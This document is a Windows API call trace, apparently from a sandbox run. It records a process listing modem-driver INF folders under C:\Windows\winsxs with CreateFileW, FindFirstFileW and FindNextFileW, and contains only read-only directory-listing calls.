	[0108.497] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.497] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.499] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmhayes.inf_31bf3856ad364e35_6.1.7600.16385_none_4afb2ef6408c5ee8" (normalized: "c:\\windows\\winsxs\\amd64_mdmhayes.inf_31bf3856ad364e35_6.1.7600.16385_none_4afb2ef6408c5ee8"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.499] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmhayes.inf_31bf3856ad364e35_6.1.7600.16385_none_4afb2ef6408c5ee8\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.499] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.500] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46193c77, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x46193c77, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x45ff0d78, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x23606, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmhayes.inf", cAlternateFileName="")) returned 1
	[0108.500] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.500] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.500] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdminfot.inf_31bf3856ad364e35_6.1.7600.16385_none_404ae09612cbb5f6" (normalized: "c:\\windows\\winsxs\\amd64_mdminfot.inf_31bf3856ad364e35_6.1.7600.16385_none_404ae09612cbb5f6"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.500] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdminfot.inf_31bf3856ad364e35_6.1.7600.16385_none_404ae09612cbb5f6\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.500] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.500] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38434fe7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x38434fe7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3839ca73, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x9e52, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdminfot.inf", cAlternateFileName="")) returned 1
	[0108.500] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.500] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.501] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmiodat.inf_31bf3856ad364e35_6.1.7600.16385_none_a748894c03713031" (normalized: "c:\\windows\\winsxs\\amd64_mdmiodat.inf_31bf3856ad364e35_6.1.7600.16385_none_a748894c03713031"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.501] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmiodat.inf_31bf3856ad364e35_6.1.7600.16385_none_a748894c03713031\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.501] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.501] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38813359, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x38813359, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3872eb2b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x8b46, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmiodat.inf", cAlternateFileName="")) returned 1
	[0108.501] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.501] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.502] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmirmdm.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_996308fc0ff8b91f" (normalized: "c:\\windows\\winsxs\\amd64_mdmirmdm.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_996308fc0ff8b91f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.502] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmirmdm.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_996308fc0ff8b91f\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd05713, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd05713, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd05713, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.502] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd05713, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd05713, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd05713, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.502] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmirmdm.inf_loc", cAlternateFileName="MDMIRM~1.INF")) returned 1
	[0108.502] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.502] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.502] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmirmdm.inf_31bf3856ad364e35_6.1.7600.16385_none_630f6f699f391c3d" (normalized: "c:\\windows\\winsxs\\amd64_mdmirmdm.inf_31bf3856ad364e35_6.1.7600.16385_none_630f6f699f391c3d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.503] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmirmdm.inf_31bf3856ad364e35_6.1.7600.16385_none_630f6f699f391c3d\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1860c3e3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1860c3e3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1860c3e3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.503] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1860c3e3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1860c3e3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1860c3e3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.503] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x272c4631, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x272c4631, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x27193b49, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x20f7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmirmdm.inf", cAlternateFileName="")) returned 1
	[0108.503] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48ce7a19, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x48ce7a19, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x48af8860, ftLastWriteTime.dwHighDateTime=0x1ca0417, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSIRCOMM.sys", cAlternateFileName="")) returned 1
	[0108.503] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.503] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.503] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmisdn.inf_31bf3856ad364e35_6.1.7600.16385_none_3b444c121a752a8c" (normalized: "c:\\windows\\winsxs\\amd64_mdmisdn.inf_31bf3856ad364e35_6.1.7600.16385_none_3b444c121a752a8c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.503] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmisdn.inf_31bf3856ad364e35_6.1.7600.16385_none_3b444c121a752a8c\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.503] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.504] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39041e54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x39041e54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x38f5d626, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x15928, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmisdn.inf", cAlternateFileName="")) returned 1
	[0108.504] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmjf56e.inf_31bf3856ad364e35_6.1.7600.16385_none_ce1129352580b82e" (normalized: "c:\\windows\\winsxs\\amd64_mdmjf56e.inf_31bf3856ad364e35_6.1.7600.16385_none_ce1129352580b82e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.504] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmjf56e.inf_31bf3856ad364e35_6.1.7600.16385_none_ce1129352580b82e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.504] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmke.inf_31bf3856ad364e35_6.1.7600.16385_none_e36071b63c091954" (normalized: "c:\\windows\\winsxs\\amd64_mdmke.inf_31bf3856ad364e35_6.1.7600.16385_none_e36071b63c091954"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.505] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmke.inf_31bf3856ad364e35_6.1.7600.16385_none_e36071b63c091954\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.505] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmkortx.inf_31bf3856ad364e35_6.1.7600.16385_none_5be54e6cba5b1c7e" (normalized: "c:\\windows\\winsxs\\amd64_mdmkortx.inf_31bf3856ad364e35_6.1.7600.16385_none_5be54e6cba5b1c7e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.505] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmkortx.inf_31bf3856ad364e35_6.1.7600.16385_none_5be54e6cba5b1c7e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.505] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmlasat.inf_31bf3856ad364e35_6.1.7600.16385_none_92e94086ddebe21b" (normalized: "c:\\windows\\winsxs\\amd64_mdmlasat.inf_31bf3856ad364e35_6.1.7600.16385_none_92e94086ddebe21b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.505] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmlasat.inf_31bf3856ad364e35_6.1.7600.16385_none_92e94086ddebe21b\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.506] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmlasno.inf_31bf3856ad364e35_6.1.7600.16385_none_dea8b5e2e5831811" (normalized: "c:\\windows\\winsxs\\amd64_mdmlasno.inf_31bf3856ad364e35_6.1.7600.16385_none_dea8b5e2e5831811"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.506] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmlasno.inf_31bf3856ad364e35_6.1.7600.16385_none_dea8b5e2e5831811\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.506] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmlucnt.inf_31bf3856ad364e35_6.1.7600.16385_none_e4d68afaabffe67a" (normalized: "c:\\windows\\winsxs\\amd64_mdmlucnt.inf_31bf3856ad364e35_6.1.7600.16385_none_e4d68afaabffe67a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.506] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmlucnt.inf_31bf3856ad364e35_6.1.7600.16385_none_e4d68afaabffe67a\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.507] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmmc288.inf_31bf3856ad364e35_6.1.7600.16385_none_4812c1d1f5383134" (normalized: "c:\\windows\\winsxs\\amd64_mdmmc288.inf_31bf3856ad364e35_6.1.7600.16385_none_4812c1d1f5383134"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.507] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmmc288.inf_31bf3856ad364e35_6.1.7600.16385_none_4812c1d1f5383134\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.507] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmmcd.inf_31bf3856ad364e35_6.1.7600.16385_none_75f2f184549e8f36" (normalized: "c:\\windows\\winsxs\\amd64_mdmmcd.inf_31bf3856ad364e35_6.1.7600.16385_none_75f2f184549e8f36"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.507] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmmcd.inf_31bf3856ad364e35_6.1.7600.16385_none_75f2f184549e8f36\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
